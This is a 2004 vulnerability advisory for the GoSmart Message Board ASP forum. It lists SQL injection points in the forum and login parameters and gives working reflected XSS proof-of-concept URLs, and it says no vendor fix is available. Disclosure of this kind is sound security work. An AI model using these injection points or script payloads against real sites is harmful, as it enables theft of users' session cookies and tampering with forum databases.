gosmart.txt

`This vulnerability was discovered by Positive Technologies using  
MaxPatrol (www.maxpatrol.com) - intellectual professional security  
scanner. It is able to detect a substantial amount of vulnerabilities  
not published yet. MaxPatrol's intelligent algorithms are also capable  
to detect a lot of vulnerabilities in custom web-scripts (XSS, SQL and  
code injections, HTTP Response splitting).  
  
  
Date: 11.10.04  
  
Severity: Low  
  
  
  
Application: GoSmart Message Board, http://www.gosmart4u.com/forum.aspx  
  
  
  
Platform: ASP  
  
  
  
I. DESCRIPTION  
  
--------------  
  
Multiple vulnerabilities were found in GoSmart Message Board. A remote  
user can conduct SQL injection attack and Cross site scripting attack.   
  
  
  
1. SQL injection (minimal risk, because using Access database)  
  
  
messageboard/Forum.asp?QuestionNumber=[SQL CODE HERE]&Find=1&Category=1  
  
messageboard/Forum.asp?Username=&Category=[SQL CODE HERE]  
  
messageboard/Forum.asp?QuestionNumber=[SQL CODE HERE]&Find=1  
  
messageboard/Forum.asp?Category=[SQL CODE HERE]  
  
POST /messageboard/Login_Exec.asp HTTP/1.1   
Host: www.gosmart4u.com   
Content-Type: application/x-www-form-urlencoded   
Content-Length: 29   
  
Username=[SQL CODE HERE]&Password=1&Login=1   
  
  
POST /messageboard/Login_Exec.asp HTTP/1.1   
Host: www.gosmart4u.com   
Content-Type: application/x-www-form-urlencoded   
Content-Length: 29   
  
Username=1&Password=[SQL CODE HERE]&Login=1  
  
  
2. XSS:  
  
/messageboard/Forum.asp?QuestionNumber=1&Find=1&Category=%22%3E%3Cscript  
%3Ealert%28%29%3C%2Fscript%3E%3C%22  
  
/messageboard/ReplyToQuestion.asp?MainMessageID=%22%3E%3Cscript%3Ealert%  
28%29%3C%2Fscript%3E%3C%22  
  
  
  
  
II. IMPACT  
  
----------  
  
  
A remote user can access the target user's cookies (including  
authentication cookies).   
  
A remote user can cause SQL commands to be executed by the underlying  
database.  
  
  
  
  
III. SOLUTION  
  
-------------  
Not available currently.  
  
  
  
IV. VENDOR FIX/RESPONSE  
  
-----------------------  
n/a  
  
  
V. CREDIT  
  
-------------  
Positive Technologies (www.ptsecurity.com) is information security  
company especially focused on development of MaxPatrol - professional  
security scanner.  
  
`